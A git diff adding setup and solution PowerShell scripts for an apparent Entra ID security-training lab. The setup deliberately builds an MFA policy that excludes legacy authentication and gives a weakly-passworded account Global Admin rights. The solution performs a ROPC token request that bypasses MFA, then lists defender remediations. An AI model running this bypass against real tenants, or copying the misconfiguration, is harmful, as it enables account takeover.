0000000..79e9cf2 --- /dev/null +++ b/scenarios/EntraGoat-Scenario7-Setup.ps1 @@ -0,0 +1,445 @@ +<# + +EntraGoat Scenario 7: Legacy Loophole - When MFA Forgot the Side Door +Setup script to be run with Global Administrator privileges + +This scenario provisions a Conditional Access policy that requires MFA, but +only for modern-auth client apps. Legacy authentication endpoints (ROPC, IMAP, +POP, SMTP AUTH, ActiveSync, "other clients") are excluded from the policy +scope, so a target admin account remains reachable via legacy auth without +ever triggering MFA. + +Requires Microsoft Entra ID P1 (or higher) for Conditional Access. + +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Applications, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + +[CmdletBinding()] +param( + [Parameter(Mandatory = $false)] + [string]$TenantId = $null +) + + +# Configuration +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" +$Flag = "EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}" +$AdminPassword = "Helpdesk!Reset2024" +$LowPrivPassword = "GoatAccess!123" +$standardDelay = 5 # Seconds +$longReplicationDelay = 10 + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - SETUP INITIALIZATION |" -ForegroundColor Cyan +Write-Host "| Legacy Loophole - When MFA Forgot the Side Door |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking and importing required Microsoft Graph modules..." +$RequiredModules = @( + "Microsoft.Graph.Authentication", + "Microsoft.Graph.Applications", + "Microsoft.Graph.Users", + "Microsoft.Graph.Identity.DirectoryManagement", + "Microsoft.Graph.Identity.SignIns" +) +$MissingModules = @() +foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -ListAvailable -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + $MissingModules += $moduleName + } +} + +if ($MissingModules.Count -gt 0) { + Write-Warning "The following required modules are not installed: $($MissingModules -join ', ')." + $choice = Read-Host "Do you want to attempt to install them from PowerShell Gallery? (Y/N)" + if ($choice -eq 'Y') { + try { + Write-Host "Attempting to install $($MissingModules -join ', ') from PowerShell Gallery. This may take a moment..." -ForegroundColor Yellow + Install-Module -Name $MissingModules -Scope CurrentUser -Force -AllowClobber -ErrorAction Stop -Verbose:$false + Write-Verbose "[+] Successfully attempted to install missing modules." + foreach ($moduleName in $MissingModules) { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose " Imported $moduleName" + } + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to automatically install or import modules: $($MissingModules -join ', '). Please install them manually (e.g., Install-Module -Name Microsoft.Graph -Scope CurrentUser) and re-run the script. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Required modules are missing. Please install them and re-run the script." -ForegroundColor White + exit 1 + } +} else { + foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Verbose "[*] Module $moduleName is already loaded." + } + } +} +Write-Verbose "[+] All required modules appear to be present and loaded." +#endregion Module Check and Import + +#region Authentication +Write-Verbose "[*] Connecting to Microsoft Graph..." + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess", + "Application.Read.All" +) + +try { + if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome + } else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome + } + $Organization = Get-MgOrganization + $TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + + Write-Verbose "[+] Connected to tenant: $TenantDomain" +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to connect: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Helper Functions +function New-EntraGoatUser { + param( + [Parameter(Mandatory=$true)] + [string]$DisplayName, + + [Parameter(Mandatory=$true)] + [string]$UserPrincipalName, + + [Parameter(Mandatory=$true)] + [string]$MailNickname, + + [Parameter(Mandatory=$true)] + [string]$Password, + + [Parameter(Mandatory=$false)] + [string]$Department = "", + + [Parameter(Mandatory=$false)] + [string]$JobTitle = "" + ) + + Write-Verbose " -> $DisplayName`: $UserPrincipalName" + $ExistingUser = Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'" -ErrorAction SilentlyContinue + + if ($ExistingUser) { + $User = $ExistingUser + Write-Verbose " EXISTS (using existing)" + $passwordProfile = @{ + Password = $Password + ForceChangePasswordNextSignIn = $false + } + Update-MgUser -UserId $User.Id -PasswordProfile $passwordProfile + } else { + $UserParams = @{ + DisplayName = $DisplayName + UserPrincipalName = $UserPrincipalName + MailNickname = $MailNickname + AccountEnabled = $true + PasswordProfile = @{ + ForceChangePasswordNextSignIn = $false + Password = $Password + } + } + + if ($Department) { $UserParams.Department = $Department } + if ($JobTitle) { $UserParams.JobTitle = $JobTitle } + + $User = New-MgUser @UserParams + Write-Verbose " CREATED" + Start-Sleep -Seconds $standardDelay + } + + return $User +} +#endregion + +#region User Creation +Write-Verbose "[*] Setting up users..." + +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Create or get low-privileged user +Write-Verbose " -> Regular user: $LowPrivUPN" +$LowPrivUser = New-EntraGoatUser -DisplayName "Raj Patel" -UserPrincipalName $LowPrivUPN -MailNickname "raj.patel" -Password $LowPrivPassword -Department "IT Operations" -JobTitle "Mail Systems Engineer" + +# Create or get admin user (the target). Modeled as a hybrid identity used by +# an old on-prem mail relay; Helpdesk gave it a predictable reset and the +# admin never rotated it. +Write-Verbose " -> Admin user: $AdminUPN" +$AdminUser = New-EntraGoatUser -DisplayName "EntraGoat Administrator S7" -UserPrincipalName $AdminUPN -MailNickname "entragoat-admin-s7" -Password $AdminPassword -Department "IT Administration" -JobTitle "Messaging Administrator" +#endregion + +#region Store admin flag in extension attributes +Write-Verbose "[*] Storing flag in admin user's extension attributes..." +try { + $UpdateParams = @{ + OnPremisesExtensionAttributes = @{ + ExtensionAttribute1 = $Flag + } + } + Update-MgUser -UserId $AdminUser.Id -BodyParameter $UpdateParams + Write-Verbose " -> Flag stored successfully" +} catch { + Write-Verbose " -> Flag already set or minor error (continuing)" +} +#endregion + +#region Assign Global Administrator Role to admin user +Write-Verbose "[*] Assigning Global Administrator role to admin user..." + +$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" +$DirectoryRole = Get-MgDirectoryRole -Filter "roleTemplateId eq '$GlobalAdminRoleId'" -ErrorAction SilentlyContinue +if (-not $DirectoryRole) { + Write-Verbose " -> Activating Global Administrator role..." + $RoleTemplate = Get-MgDirectoryRoleTemplate -DirectoryRoleTemplateId $GlobalAdminRoleId + $DirectoryRole = New-MgDirectoryRole -RoleTemplateId $RoleTemplate.Id + Start-Sleep -Seconds $standardDelay +} + +$ExistingMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue +$IsAlreadyAssigned = $false +if ($ExistingMembers) { + foreach ($member in $ExistingMembers) { + if ($member.Id -eq $AdminUser.Id) { + $IsAlreadyAssigned = $true + break + } + } +} +if (-not $IsAlreadyAssigned) { + try { + $RoleMemberParams = @{ + "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($AdminUser.Id)" + } + New-MgDirectoryRoleMemberByRef -DirectoryRoleId $DirectoryRole.Id -BodyParameter $RoleMemberParams -ErrorAction Stop + Write-Verbose " -> Role assigned successfully" + Start-Sleep -Seconds $longReplicationDelay + } catch { + if ($_.Exception.Message -like "*already exist*") { + Write-Verbose " -> Role already assigned" + } else { + throw $_ + } + } +} else { + Write-Verbose " -> Role already assigned" +} +#endregion + +#region Create Conditional Access Policy (THE MISCONFIGURATION) +# The policy looks correct on paper: All users, All cloud apps, require MFA. +# But the clientAppTypes array only lists modern-auth clients - so legacy +# auth endpoints (Exchange ActiveSync, IMAP, POP, SMTP AUTH, ROPC and other +# "other clients") are silently out of scope. Microsoft's "Block legacy +# authentication" template is the supported control to close this gap; +# without it (or an Authentication Policy that disables basic auth), +# attackers with valid credentials can sign in via legacy protocols and +# never see an MFA prompt. +Write-Verbose "[!] CREATING MISCONFIGURATION: Conditional Access policy with no legacy-auth coverage..." + +$ExistingPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($ExistingPolicy) { + Write-Verbose " -> Policy already exists, removing old version to ensure clean state" + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $ExistingPolicy.Id -ErrorAction Stop + Start-Sleep -Seconds $standardDelay + } catch { + Write-Verbose " -> Could not remove existing policy (continuing): $($_.Exception.Message)" + } +} + +$caPolicyBody = @{ + displayName = $CAPolicyName + state = "enabled" + conditions = @{ + # Modern-auth clients only. exchangeActiveSync and other are NOT + # listed - that is the intentional gap this scenario teaches. + clientAppTypes = @("browser", "mobileAppsAndDesktopClients") + applications = @{ + includeApplications = @("All") + } + users = @{ + includeUsers = @("All") + } + } + grantControls = @{ + operator = "OR" + builtInControls = @("mfa") + } +} + +try { + $CreatedPolicy = New-MgIdentityConditionalAccessPolicy -BodyParameter $caPolicyBody -ErrorAction Stop + Write-Verbose " -> CA policy created: $($CreatedPolicy.DisplayName) ($($CreatedPolicy.Id))" + Start-Sleep -Seconds $longReplicationDelay +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to create Conditional Access policy. Tenant must have Entra ID P1 (or higher). Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Final Verification +Write-Verbose "[*] Running final verification..." + +$policyCheck = $false +$policyHasGap = $false +try { + $verifyPolicy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CreatedPolicy.Id -ErrorAction Stop + if ($verifyPolicy.State -eq "enabled") { + $policyCheck = $true + } + $clientAppTypes = $verifyPolicy.Conditions.ClientAppTypes + if ($clientAppTypes -and ($clientAppTypes -notcontains "exchangeActiveSync") -and ($clientAppTypes -notcontains "other")) { + $policyHasGap = $true + } +} catch { + Write-Verbose " -> Could not re-read policy: $($_.Exception.Message)" +} + +if ($policyCheck) { + Write-Verbose " -> [+] CA policy is enabled" +} else { + Write-Verbose " -> [-] CA policy is NOT enabled" +} +if ($policyHasGap) { + Write-Verbose " -> [+] Legacy-auth client types excluded from policy scope (vulnerability present)" +} else { + Write-Verbose " -> [-] Policy unexpectedly covers legacy auth - vulnerability NOT present" +} + +# Verify admin role +$roleCheck = $false +try { + $members = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue + if ($members) { + foreach ($member in $members) { + if ($member.Id -eq $AdminUser.Id) { + $roleCheck = $true + break + } + } + } +} catch { + # role membership read may fail intermittently +} +if ($roleCheck) { + Write-Verbose " -> [+] Admin user holds Global Administrator" +} else { + Write-Verbose " -> [!] Global Admin role verification uncertain (may still be assigned)" +} + +$SetupSuccessful = $policyCheck -and $policyHasGap -and $roleCheck +#endregion + +#region Output Summary +if ($VerbosePreference -eq 'Continue') { + Write-Host "" + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "| SCENARIO 7 SETUP COMPLETED (VERBOSE) |" -ForegroundColor Cyan + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "" + + Write-Host "`nVULNERABILITY DETAILS:" -ForegroundColor Yellow + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " - Conditional Access policy requires MFA but only for modern-auth clients" -ForegroundColor White + Write-Host " - clientAppTypes = browser, mobileAppsAndDesktopClients" -ForegroundColor White + Write-Host " - Legacy-auth paths (exchangeActiveSync, other) are unscoped" -ForegroundColor White + Write-Host " - ROPC, IMAP/POP/SMTP AUTH, and ActiveSync sign-ins bypass MFA entirely" -ForegroundColor White + Write-Host " - Admin account password is reachable via password spray over legacy auth" -ForegroundColor White + + Write-Host "`nATTACKER CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + + Write-Host "`nCONDITIONAL ACCESS POLICY:" -ForegroundColor Blue + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Name: " -ForegroundColor White -NoNewline + Write-Host "$CAPolicyName" -ForegroundColor Cyan + Write-Host " Policy ID: " -ForegroundColor White -NoNewline + Write-Host "$($CreatedPolicy.Id)" -ForegroundColor Cyan + + Write-Host "" + Write-Host "FLAG: " -ForegroundColor Green -NoNewline + Write-Host "$Flag" -ForegroundColor Cyan + + Write-Host "`n=====================================================" -ForegroundColor DarkGray + Write-Host "" +} else { + Write-Host "" + if ($SetupSuccessful) { + Write-Host "[+] " -ForegroundColor Green -NoNewline + Write-Host "Scenario 7 setup completed successfully" -ForegroundColor White + Write-Host "" + Write-Host "Objective: Sign in as the admin user and retrieve the flag." -ForegroundColor Gray + Write-Host "" + Write-Host "`nYOUR CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + Write-Host "" + + Write-Host "Hint: Modern auth gets the bouncer. The side door does not." -ForegroundColor DarkGray + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Scenario 7 setup failed - give it another shot or run with -Verbose flag to reveal more for debugging (spoiler alert)." -ForegroundColor White + } + Write-Host "" +} +Write-Host "`nSetup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" +#endregion diff --git a/solutions/EntraGoat-Scenario7-Solution.ps1 b/solutions/EntraGoat-Scenario7-Solution.ps1 new file mode 100644 index 0000000..6d3b27f --- /dev/null +++ b/solutions/EntraGoat-Scenario7-Solution.ps1 @@ -0,0 +1,174 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Walkthrough step-by-step solution + +.DESCRIPTION +________________________________________________________________________________________________________________________________________________ +Scenario 7 - "Legacy Loophole: When MFA Forgot the Side Door" + +Attack flow: + +1. The attacker starts with low-privileged credentials for raj.patel - a mail +systems engineer who knows the tenant still runs an old SMTP relay and +ActiveSync mailboxes for a legacy line-of-business app. Looking at the +admin team, the messaging admin EntraGoat-admin-s7 stands out: a +Helpdesk ticket once reset the account to a predictable password +("Helpdesk!Reset2024") and nobody rotated it. + +2. Recon. The attacker enumerates the Conditional Access posture (or just +infers it from sign-in failures during password sprays). The tenant has +a "Require MFA for All Users" policy - on paper, this should stop a +password-only sign-in cold. But the policy's clientAppTypes only covers +'browser' and 'mobileAppsAndDesktopClients'. exchangeActiveSync and +'other' (ROPC, IMAP, POP, SMTP AUTH) are not in scope. + +3. Bypass. Resource Owner Password Credentials (ROPC) is the cleanest +legacy-auth surface for password-only sign-in to Entra ID. It is +classified as 'other clients' for Conditional Access purposes and is +not subject to interactive MFA. The attacker sends a direct ROPC +token request with the admin's UPN + password to /oauth2/v2.0/token +against the tenant. The CA policy never fires because the request +never matches a scoped clientAppType. + +4. Token in hand, the attacker reads onPremisesExtensionAttributes for +the admin (or for /me, since the token is scoped to the admin) and +recovers the flag from extensionAttribute1. + +- - - + +--> So... why does this work? + +Conditional Access "client app" conditions are an allow-list, not a +deny-all. If a policy author leaves clientAppTypes set to only the +modern-auth values, every legacy-auth path is silently excluded. Even +in the Microsoft portal UI this is the default for new policies until +you flip "Configure" to Yes and explicitly tick the legacy boxes. + +Microsoft's published guidance is unambiguous: +* Conditional Access policy template: "Block legacy authentication". + This is the supported, named control. It blocks Exchange ActiveSync + clients and Other clients across the tenant. + https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy +* Authentication policies (per-protocol disable for SMTP AUTH, + POP, IMAP, MAPI, OAB, RPC, ActiveSync, OfflineAddressBook): + Set-CASMailbox / Set-OrganizationConfig in Exchange Online, + or the Authentication Methods policy in Entra. +* Sign-in logs: filter on "Client app == Other clients / IMAP4 / POP3 + / SMTP / Exchange ActiveSync" - any non-zero count is the audit + signal a defender wants before they pull the trigger on the block. + +Common reasons admins leave the gap open: +* A line-of-business mailbox uses SMTP AUTH for outbound notifications. +* A scanner or printer on the LAN authenticates via Basic IMAP/POP. +* A scripted job uses ROPC because it predates MSAL. +* A vendor integration claims it "needs basic auth" and the admin + carved out an exclusion that was never revisited. + +In every one of those cases the right answer is the same: scope the +exclusion to the specific service principal or service account, and +keep the tenant-wide block. Anything less and password-only attackers +walk through the side door. +________________________________________________________________________________________________________________________________________________ + +.NOTES +This walkthrough uses Microsoft Graph PowerShell SDK plus a direct REST +call to the v2.0 token endpoint to demonstrate ROPC. ROPC requires the +MFA requirement to NOT be enforced on the requested user account - which +is exactly what this scenario's misconfiguration produces. +#> + + +# Configuration settings for convenience +$tenantId = "[YOUR-TENANT-ID]" +$tenantDomain = "[YOUR-TENANT-DOMAIN-NAME].onmicrosoft.com" +$attackerUPN = "raj.patel@$tenantDomain" +$attackerPassword = "GoatAccess!123" +$adminUPN = "EntraGoat-admin-s7@$tenantDomain" +$adminPassword = "Helpdesk!Reset2024" + + +# Step 1: Initial foothold - sign in as the low-priv user with delegated Graph +Connect-MgGraph -TenantId $tenantId -Scopes "User.Read","Policy.Read.All" +Get-MgContext + +# Step 2: Enumerate Conditional Access posture +# Most low-priv users cannot read CA policies directly. The realistic recon +# path is to attempt sign-ins and read sign-in logs they have access to, +# or to infer policy from observed MFA prompts. For lab clarity, if the +# starting identity has Policy.Read.All in your tenant, you can read it +# directly: +Get-MgIdentityConditionalAccessPolicy -All | + Where-Object { $_.State -eq 'enabled' } | + Select-Object DisplayName, + @{n='ClientAppTypes';e={$_.Conditions.ClientAppTypes -join ','}}, + @{n='GrantControls';e={$_.GrantControls.BuiltInControls -join ','}} + +# Look for any policy whose ClientAppTypes do NOT include 'exchangeActiveSync' +# and 'other'. That is your bypass target. + +# Step 3: Find the messaging admin account. +# In a real engagement this comes from OSINT, helpdesk-ticket sniffing, or +# group enumeration. For the lab the admin UPN follows the EntraGoat naming +# convention. +$targetAdmin = Get-MgUser -Filter "startswith(userPrincipalName, 'EntraGoat-admin-s7')" +$targetAdmin + +Disconnect-MgGraph + +# Step 4: Password spray over legacy auth (ROPC). +# ROPC is classified as 'Other clients' in Conditional Access. With the +# policy's clientAppTypes scoped to browser + modern desktop/mobile only, +# this request will not match any policy and will not be challenged for +# MFA. It just returns a token if the password is correct. +# +# We use the Microsoft Azure PowerShell first-party client_id so we do not +# need to register a public client in the tenant. +$clientId = "1950a258-227b-4e31-a9cf-717495945fc2" # Microsoft Azure PowerShell + +$body = @{ + grant_type = "password" + client_id = $clientId + username = $adminUPN + password = $adminPassword + scope = "https://graph.microsoft.com/.default offline_access" +} + +$tokenResponse = Invoke-RestMethod ` + -Method POST ` + -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" ` + -ContentType "application/x-www-form-urlencoded" ` + -Body $body + +$adminAccessToken = $tokenResponse.access_token + +# Notice: no MFA prompt, no Conditional Access redirect. The token came +# back on the first try. That is the gap this scenario teaches. + +# Step 5: Use the admin's access token to retrieve the flag. +$headers = @{ Authorization = "Bearer $adminAccessToken" } +Invoke-RestMethod ` + -Method GET ` + -Uri "https://graph.microsoft.com/v1.0/me?`$select=id,userPrincipalName,onPremisesExtensionAttributes" ` + -Headers $headers | + Select-Object @{n='UPN';e={$_.userPrincipalName}}, + @{n='Id';e={$_.id}}, + @{n='Flag';e={$_.onPremisesExtensionAttributes.extensionAttribute1}} + +# Congratulations! You have successfully completed the EntraGoat Scenario 7. +# Don't forget to run the cleanup script to restore the tenant to its original state! + +# Defender remediation checklist: +# 1. Apply the "Block legacy authentication" Conditional Access template +# tenant-wide. https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy +# 2. In Exchange Online, run Get-CASMailbox / Get-OrganizationConfig to +# audit which protocols are enabled, and disable SMTP AUTH, POP, IMAP, +# MAPI, OAB, RPC, ActiveSync wherever business-justified to do so. +# 3. Disable ROPC for first-party clients you do not actively use by +# restricting allowed grant types in the application's manifest / +# Authentication Methods policy. +# 4. Audit Sign-in logs for "Client app == Other clients" / +# "Exchange ActiveSync" / "IMAP4" / "POP3" / "SMTP" - the +# Microsoft-published Workbook "Sign-ins using Legacy Authentication" +# is a fast way to see exposure before flipping the block. +# 5. For any application that genuinely needs legacy auth, scope the +# exclusion to that one service principal, never tenant-wide.